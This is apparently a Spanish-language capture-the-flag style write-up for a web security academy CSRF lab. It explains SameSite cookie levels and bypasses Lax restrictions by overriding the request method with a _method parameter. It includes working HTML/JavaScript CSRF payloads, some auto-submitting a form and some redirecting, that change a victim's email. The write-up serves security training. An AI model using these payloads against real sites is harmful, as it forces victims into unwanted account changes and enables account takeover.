Entrada

CSRF Lab 7

CSRF Lab 7

Skills

  • SameSite Lax bypass via method override

Certificaciones

  • eWPT
  • eWPTXv2
  • OSWE
  • BSCP

Descripción

Para resolver este laboratorio, debemos explotar la vulnerabilidad de CSRF en la función de cambio de correo electrónico. Necesitaremos usar el Exploit server que nos proporcionan para hostear nuestro ataque. Podemos iniciar sesión en nuestra propia cuenta utilizando las credenciales wiener:peter. Las restricciones predeterminadas de SameSite difieren entre navegadores. Como la víctima usa Chrome, se recomienda usar Chrome o Chromium para probar el exploit


Resolución

Al acceder a la web vemos esto

Pulsamos sobre My account y nos logueamos con las credenciales wiener:peter

Vemos que hay un botón para cambiar el email

Para resolver el laboratorio, debemos explotar un CSRF, el cual es una vulnerabilidad de seguridad web que permite a un atacante inducir a los usuarios a realizar acciones que no tienen intención de realizar. Permite a un atacante eludir parcialmente la política de same origin, que está diseñada para evitar que diferentes sitios web interfieran entre sí. Para que sea posible un ataque CSRF, deben cumplirse tres condiciones clave

  • Una acción relevante - Hay una acción dentro de la aplicación que el atacante tiene motivos para inducir. Puede ser una acción privilegiada (como modificar los permisos de otros usuarios) o cualquier acción sobre datos específicos del usuario (como cambiar la contraseña del usuario)

  • Manejo de sesiones basado en cookies - Para realizar la acción, se deben emitir una o más solicitudes HTTP, y la aplicación se basa únicamente en las cookies de sesión para identificar al usuario que realizó las solicitudes. No existe ningún otro mecanismo para realizar el seguimiento de las sesiones o validar las solicitudes de los usuarios

  • Sin parámetros de solicitud impredecibles - Las solicitudes que realizan la acción no contienen ningún parámetro cuyos valores el atacante no pueda determinar o adivinar. Por ejemplo, al hacer que un usuario cambie su contraseña, la función no es vulnerable si un atacante necesita saber el valor de la contraseña existente

Las defensas más comunes contra ataques CSRF con las que nos podemos encontrar son las siguientes

  • Token CSRF - Es un token único, secreto e impredecible generado por el servidor y compartido con el cliente. Para realizar una acción sensible, como enviar un formulario, el cliente debe incluir este token. Esto dificulta que un atacante genere solicitudes válidas en nombre de la víctima

  • Cookies SameSite - SameSite es un mecanismo de seguridad del navegador que regula cuándo se incluyen las cookies en las solicitudes de otros sitios web. Dado que las solicitudes para realizar acciones sensibles suelen requerir una cookie válida, es decir, una cookie que haya sido asignada tras una autenticación válida, las restricciones que aplica SameSite pueden impedir que un atacante desencadene estas acciones. Desde 2021, Chrome aplica por defecto las restricciones Lax SameSite, dado que este es el estándar, se espera que otros navegadores también lo adopten

  • Validación basada en Referer - Algunas aplicaciones hacen uso de la cabecera HTTP Referer para intentar defenderse de ataques CSRF, normalmente verificando que la petición se originó en el propio dominio de la web. Esto suele ser menos efectivo que la validación de tokens CSRF

Si nos dirigimos a la extensión Logger ++ de Burpsuite vemos que al loguearnos se nos setea una cookie pero no tiene el atributo SameSite

Si nos abrimos las herramientas de desarrollador vemos que la cookie no tiene ese atributo, por lo tanto si estamos usando Chrome, se aplicarán las restricciones Lax SameSite por defecto

La diferencia entre un sitio web y un origen es su alcance, un sitio web abarca varios nombres de dominio, mientras que un origen solo incluye uno. Aunque están estrechamente relacionados, es importante no utilizar los términos indistintamente, ya que mezclarlos puede tener graves consecuencias para la seguridad. Se considera que dos URL tienen el mismo origen si comparten exactamente el mismo esquema, nombre de dominio y puerto

Como podemos ver en este ejemplo, el término sitio web es mucho menos específico, ya que solo tiene en cuenta el esquema y la última parte del nombre de dominio. Fundamentalmente, esto significa que una petición de origen cruzado (cross-origin) puede seguir siendo del mismo sitio web, pero no al revés. Esta es una distinción importante, ya que significa que cualquier vulnerabilidad que permita la ejecución de código JavaScript puede ser utilizada para eludir las defensas del sitio web en otros dominios que pertenecen al mismo sitio web

Antes de que se introdujera el mecanismo SameSite, los navegadores enviaban cookies en cada solicitud al dominio que las emitía, incluso si la solicitud era originada por un sitio web de un tercero que no estáno relacionado con el sitio web. SameSite funciona permitiendo que los navegadores y los propietarios de sitios web limiten qué solicitudes entre sitios, si es que hay alguna, deben incluir ciertas cookies. Esto puede ayudar a reducir la exposición de los usuarios a los ataques CSRF, que inducen al navegador de la víctima a emitir una solicitud que desencadena una acción perjudicial en el sitio web vulnerable. Dado que estas solicitudes generalmente requieren una cookie asociada con la sesión autenticada de la víctima, el ataque fallará si el navegador no la incluye. Todos los navegadores más importantes actualmente soportan los siguientes niveles de restricción de SameSite

  • Strict - Si una cookie se establece con el atributo SameSite=Strict, los navegadores no la enviarán en ninguna solicitud entre sitios web. Esto significa que si el sitio objetivo de la solicitud no coincide con el sitio web que se muestra actualmente en la URL del navegador no se incluirá la cookie. Esto se recomienda cuando se configuran cookies que permiten al usuario modificar datos o realizar acciones sensibles, como acceder a páginas que solo están disponibles para usuarios autenticados

  • Lax - Las restricciones SameSite=Lax significan que los navegadores enviarán la cookie en solicitudes entre sitios web, pero solo si la solicitud utiliza el método GET y si la solicitud es el resultado de una navegación de nivel superior, es decir, que requiere interacción por parte del usuario, como hacer click en un enlace. Esto significa que la cookie no se incluirá en solicitudes POST entre sitios web, por ejemplo. Dado que las solicitudes POST generalmente se utilizan para realizar acciones que modifican datos o el estado (al menos según las mejores prácticas), son mucho más propensas a ser el objetivo de ataques CSRF. De igual manera, la cookie no se incluirá en solicitudes en segundo plano, como aquellas iniciadas por scripts, iframes o referencias a imágenes y otros recursos

  • None - Si una cookie se establece con el atributo SameSite=None, esto desactiva las restricciones SameSite por completo independientemente del navegador. Como resultado, los navegadores enviarán esta cookie en todas las solicitudes al sitio web que la emitió, incluso aquellas que fueron originadas por sitios web de terceros no relacionados con el sitio web principal. Con la excepción de Chrome, este es el comportamiento predeterminado utilizado por los navegadores más famosos si no se proporciona un atributo SameSite al configurar la cookie. Existen razones legítimas para deshabilitar SameSite, como cuando la cookie está destinada a ser utilizada desde un contexto de terceros y no otorga al usuario acceso a datos o funcionalidades sensibles, un ejemplo, serían las tracking cookies. Si nos encontramos con una cookie configurada con SameSite=None o sin restricciones explícitas, vale la pena investigar si tiene algún propósito. Cuando el comportamiento Lax fue adoptado por Chrome rompió algunas funcionalidades en las webs. Como solución rápida, algunos sitios web optaron por desactivar las restricciones SameSite en todas las cookies, incluidas las potencialmente sensibles. Al configurar una cookie con SameSite=None, el sitio web también debe incluir el atributo Secure, lo que garantiza que la cookie solo se enviará en mensajes encriptados a través de HTTPS. De lo contrario, los navegadores rechazarán la cookie y `no se seteará

En la práctica, los servidores no siempre son estrictos con respecto a si reciben una solicitud GET o POST en un determinado endpoint, incluso en aquellos que esperan el envío de un formulario. Si además utilizan restricciones Lax para sus cookies de sesión, ya sea de forma explícita o debido al comportamiento predeterminado del navegador, aún podríamos realizar un ataque CSRF provocando que el navegador de la víctima emita una solicitud GET. Siempre que la solicitud implique una navegación de nivel superior, es decir, interacción del usuario, el navegador incluirá la cookie de sesión de la víctima. Uno de los payloads más simples para lanzar el ataque sería este

1
<script> document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000'; </script>

Incluso si no se permite una solicitud GET ordinaria, algunos frameworks proporcionan formas de sobrescribir el método especificado. Por ejemplo, Symfony admite el parámetro _method en formularios, el cual tiene prioridad sobre el método normal para propósitos de enrutamiento. Otros frameworks admiten una variedad de parámetros similares para sobrescribir el método de la solicitud

1
2
3
4
5
<form action="https://vulnerable-website.com/account/transfer-payment" method="POST">
    <input type="hidden" name="_method" value="GET">
    <input type="hidden" name="recipient" value="hacker">
    <input type="hidden" name="amount" value="1000000">
</form>

Si inspeccionamos la forma en la que se envía el formulario para cambiar el correo electrónico, vemos esto

Anteriormente hemos visto que se está utilizando SameSite con el valor por defecto Lax, por lo tanto, si conseguimos hacer una petición GET que sea de navegación superior, podríamos lograr llevar a cabo un ataque CSRF. Si capturamos la petición para cambiar nuestro email, vemos que se transmite por POST

Si pulsamos click derecho > Change request method convertimos la petición a GET, sin embargo, nos dice que no acepta este método

Como hemos dicho antes algunos frameworks proporcionan formas de sobrescribir el método especificado. Con Symfony tenemos el método _method para sobrescribir el método de la petición, por lo tanto, si hacemos una petición por GET a /my-account/change-email?email=test%40gmail.com&_method=POST y sobrescribimos el método con _method la petición es exitosa

Podemos crear payloads si tenemos Burpsuite Professional pulsando click derecho > Engagements tools > Generate CSRF PoC

Se nos genera este payload, aunque es funcional, en la mayoría de ocasiones vamos a tener que retocarlo un poco para mejorar su desempeño

En mi caso prefiero hacer los payloads de forma manual

1
2
3
4
5
6
7
8
9
10
11
<html>
    <body>
        <form action="https://0a1300120392b3a2822110240029009e.web-security-academy.net/my-account/change-email" method="GET">
            <input type="hidden" name="_method" value="POST">
            <input type="hidden" name="email" value="pwned@gmail.com">
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

Otra alternativa sería usar este otro payload

1
2
3
4
5
6
7
<html>
    <body>
        <script> 
            document.location = 'https://0a1300120392b3a2822110240029009e.web-security-academy.net/my-account/change-email?email=pwned@gmail.com&_method=POST';
        </script>
    </body>
</html>

Nos abrimos el Exploit server y pegamos cualquiera de los payloads anteriores

Si pulsamos en View exploit vemos como nos cambia el email. Independientemente del payload usado, para completar el laboratorio debemos pegarlo en el Exploit server y pulsar sobre Delivery exploit to victim. Debemos tener en cuenta que dos usuarios no pueden tener el mismo email, por lo tanto, debemos cambiar nuestro email o cambiar el email en el payload que enviamos

Esta entrada está licenciada bajo CC BY 4.0 por el autor.